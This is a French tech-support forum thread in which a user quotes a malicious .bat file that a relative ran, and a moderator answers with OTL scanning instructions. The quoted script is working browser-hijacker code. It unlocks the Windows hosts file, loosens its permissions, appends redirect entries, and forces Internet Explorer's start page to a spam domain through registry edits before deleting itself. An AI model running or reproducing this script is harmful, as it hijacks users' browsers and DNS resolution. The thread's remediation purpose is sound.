Lancement meta-search et tringaloo :(

ekinoxx71 -  
Malekal_morte- Messages postés 180304 Date d'inscription   Statut Modérateur, Contributeur sécurité Dernière intervention   - 18 juil. 2011 à 18:51
Bonjour,

Mon petit cousin à eu la bonne idée de lancer un .bat qui a pour codage suivant (édité avec bloc note) :

[quote]
@echo off
if exist %systemroot%\SysWOW64 (
set hosts=%systemroot%\SysWOW64\drivers\etc\hosts
) else (
set hosts=%systemroot%\System32\drivers\etc\hosts
)
attrib -s -r -h %hosts%
echo y| cacls %hosts% /T /G All:F
echo y| cacls %hosts% /T /G 'á¥:F
(echo.
echo #
echo 178.162.171.49
echo 178.162.171.49
)>>%hosts%
echo y| cacls %systemroot%\System32\drivers\etc /T /G 'á¥:R
echo y| cacls %systemroot%\System32\drivers\etc /T /G All:R
ipconfig /flushdns
reg add "HKEY_CURRENT_\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://paflikkq.info" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://paflikkq.info" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /d "http://paflikkq.info" /f
reg add "HKEY_CURRENT_\Software\Policies\Microsoft\Internet Explorer\Control " /v "HomePage" /t REG_DWORD /d 00000001 /f
erase %0
/quote

Dès que je fais une recherche internet avec mon firefox, la page se réactualise sur meta-search ou une pub bidon. (http://paflikkq.info)
je ne sais pas supprimer cette action, pour que ces pubs de m*** arrête d'envahir mon espace !!!

avez vous une solution svp ??????????

Un grand merci d'avance !!! :)

A voir également:

1 réponse

Malekal_morte- Messages postés 180304 Date d'inscription   Statut Modérateur, Contributeur sécurité Dernière intervention   24 675
 
Salut,


C'est pas bien méchant, fais ça, déjà.

Tu peux suivre les indications de cette page pour t'aider : https://commentcamarche.telechargertorrent.org/tutorial-otl/

* Télécharge http://www.geekstogo.com/forum/files/file/398-otl-oldtimers-list-it/ sur ton bureau.
(Sous Vista/Win7, il faut cliquer droit sur OTL et choisir Exécuter en tant qu'istrateur)

* Lance OTL
* Sous Peronnalisation, copie-colle ce qu'il y a dans le cadre ci-dessous :
netsvcs
msconfig
safebootminimal
safebootnetwork
activex
drivers32
%ALLSPROFILE%\Application Data\*.
%ALLSPROFILE%\Application Data\*.exe /s
%APPDATA%\*.
%APPDATA%\*.exe /s
%temp%\*.exe /s
%SYSTEMDRIVE%\*.exe
%systemroot%\*. /mp /s
%systemroot%\system32\*.dll /lockedfiles
%systemroot%\Tasks\*.job /lockedfiles
%systemroot%\system32\drivers\*.sys /lockedfiles
%systemroot%\System32\config\*.sav
/md5start
explorer.exe
winlogon.exe
wininit.exe
/md5stop
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SubSystems /s
CREATERESTOREPOINT
nslookup www.google.fr /c
SAVEMBR:0
hklm\software\clients\startmenuinternet|command /rs
hklm\software\clients\startmenuinternet|command /64 /rs

* Clique sur le bouton Analyse.
* Quand le scan est fini, utilise le site http://pjt.malekal.com/ pour envoyer les rapports.
Donnes le liens pjt ici ensuite pour pouvoir être consultés.


0